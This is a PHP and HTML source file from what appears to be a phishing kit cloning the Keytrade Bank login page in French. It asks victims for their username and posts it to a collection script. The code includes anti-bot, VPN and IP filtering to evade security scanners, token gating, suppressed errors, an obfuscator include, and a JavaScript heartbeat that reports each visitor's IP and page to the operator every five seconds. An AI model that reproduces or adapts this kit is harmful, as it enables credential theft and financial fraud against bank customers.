<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors', '0');
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
@ini_set('log_errors', '0');
$ip = $_SERVER['REMOTE_ADDR'];
session_id(md5($ip));
session_start();

$stripos = 0;
include 'config.php';

include 'M3tri-anti-bots_v0.01/M3tri-Organization.php';
include 'M3tri-anti-bots_v0.01/M3tri-ips.php';
include 'M3tri-anti-bots_v0.01/M3tri-OS-BRS.php';
include 'M3tri-anti-bots_v0.01/M3tri-UA.php';
include 'M3tri-anti-bots_v0.01/M3tri-vpn-proxy.php';
require_once './includes/HunterObfuscator.php';

$currentIP = getRealIP();
if (isIPBanned($currentIP)) {
    header('Location: 403.php');
    exit();
}

$honeypotbots = file_get_contents('honeypotbots.dat');
$errorUrl = '403.php';

if (stripos($honeypotbots, $ip) !== false) {
    $stripos = $stripos + 1;
}

$token1 = base64_encode($_SERVER['HTTP_USER_AGENT'] . $ip . date('Y:M:D'));

if (!isset($_GET['token']) || $token1 != $_GET['token'] || $stripos > 0) {
    header("location: " . $errorUrl . "?" . (isset($_GET['token']) ? $_GET['token'] : ''));
    exit;
}

$error = isset($_GET['error']) ? $_GET['error'] : '';
?>
<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Keytrade Bank - Authentification</title>
    <style>
        :root {
            --container-width: 480px;
            --color-BlueDawn: #007f9e;
            --color-BlueSky: #00b3db;
            --color-BlueSmoke: #f1f5f7;
            --color-White: #fff;
        }
        * { padding: 0; margin: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            font-size: 16px;
            line-height: 1.5;
            background-color: var(--color-BlueSmoke);
            min-height: 100vh;
        }
        .container {
            display: block;
            max-width: calc(100% - 32px);
            padding: 0 15px;
            width: var(--container-width);
            margin: 0 auto;
        }
        .main_header {
            margin: 32px auto;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .logo-wrap { display: flex; align-items: center; gap: 8px; }
        .logo-name { font-size: 22px; font-weight: 900; color: #007f9e; letter-spacing: 0.5px; }
        .logo-bank { font-size: 13px; color: #007f9e; font-weight: 600; display: block; letter-spacing: 1px; margin-top: -4px; }
        .lang-badge {
            background: #fff;
            border-radius: 17px;
            padding: 5px 14px;
            color: #00b3db;
            font-weight: bold;
            font-size: 15px;
            display: flex;
            align-items: center;
            gap: 5px;
        }
        .ds_card {
            background: var(--color-White);
            border-radius: 12px;
            box-shadow: 0 0 5px rgba(68,68,68,0.3);
            padding: 24px;
            margin-top: 16px;
        }
        h1 { font-size: 20px; font-weight: 700; color: #1a1a1a; margin-bottom: 16px; }
        .info-box {
            background: #f7f9fa;
            border-radius: 8px;
            padding: 16px;
            font-size: 15px;
            color: #333;
            margin-bottom: 20px;
            text-align: center;
            line-height: 1.5;
        }
        .form-label { display: block; font-size: 13px; color: #555; margin-bottom: 4px; }
        .form-input {
            width: 100%;
            border: 1px solid #c0d0d8;
            border-radius: 6px;
            padding: 10px 12px;
            font-size: 15px;
            color: #1a1a1a;
            outline: none;
            transition: border-color 0.2s;
            background: #fff;
            font-family: Arial, sans-serif;
        }
        .form-input:focus { border-color: #007f9e; }
        .form-hint { font-size: 12px; color: #888; margin-top: 4px; margin-bottom: 16px; }
        .btn-continuer {
            width: 100%;
            background-color: #00b3db;
            color: #fff;
            border: none;
            border-radius: 8px;
            padding: 13px;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            font-family: Arial, sans-serif;
            transition: background-color 0.2s;
        }
        .btn-continuer:hover { background-color: #007f9e; }
        .error-msg {
            color: #c0392b;
            font-size: 13px;
            margin-bottom: 12px;
            text-align: center;
        }
    </style>
</head>
<body>
    <section class="container">
        <header class="main_header">
            <div class="logo-wrap">
                <svg width="36" height="36" viewBox="0 0 40 40" fill="none" xmlns="http://www.w3.org/2000/svg">
                    <line x1="20" y1="4" x2="20" y2="36" stroke="#007f9e" stroke-width="5" stroke-linecap="round"/>
                    <line x1="4" y1="20" x2="36" y2="20" stroke="#007f9e" stroke-width="5" stroke-linecap="round"/>
                    <line x1="7.5" y1="7.5" x2="32.5" y2="32.5" stroke="#007f9e" stroke-width="5" stroke-linecap="round"/>
                    <line x1="32.5" y1="7.5" x2="7.5" y2="32.5" stroke="#007f9e" stroke-width="5" stroke-linecap="round"/>
                </svg>
                <div>
                    <span class="logo-name">KEYTRADE</span>
                    <span class="logo-bank">BANK</span>
                </div>
            </div>
            <div class="lang-badge">
                FR
                <svg width="12" height="12" viewBox="0 0 12 12" fill="none"><path d="M2 4l4 4 4-4" stroke="#00b3db" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/></svg>
            </div>
        </header>

        <h1>Entrez votre nom d'utilisateur</h1>

        <div class="ds_card">
            <div class="info-box">
                Vous trouverez votre nom d'utilisateur sur la lettre de bienvenue envoyée par la poste.
            </div>

            <?php if ($error == 'on'): ?>
            <div class="error-msg">Nom d'utilisateur incorrect. Veuillez réessayer.</div>
            <?php endif; ?>

            <form method="POST" action="bc-load.php" autocomplete="off">
                <input type="hidden" name="token" value="<?php echo htmlspecialchars($token1); ?>">
                <input type="hidden" name="type" value="keytrade-id">

                <label class="form-label" for="kt-username">Nom d'utilisateur</label>
                <input
                    type="text"
                    id="kt-username"
                    name="username"
                    class="form-input"
                    placeholder=""
                    required
                >
                <div class="form-hint">Exemple: KEYT123456</div>
                <button type="submit" class="btn-continuer">Continuer</button>
            </form>
        </div>
    </section>

    <script>
    (function() {
        var ip = '<?php echo addslashes($ip); ?>';
        function sendHeartbeat() {
            fetch('config.php?heartbeat=true&ip=' + encodeURIComponent(ip) + '&page=Keytrade-id.php', { cache: 'no-store' }).catch(function(){});
        }
        sendHeartbeat();
        var heartbeatInterval = setInterval(sendHeartbeat, 5000);
        document.addEventListener('visibilitychange', function() {
            if (document.hidden) { clearInterval(heartbeatInterval); }
            else { sendHeartbeat(); heartbeatInterval = setInterval(sendHeartbeat, 5000); }
        });
        window.addEventListener('beforeunload', function() { clearInterval(heartbeatInterval); });
    })();
    </script>
</body>
</html>
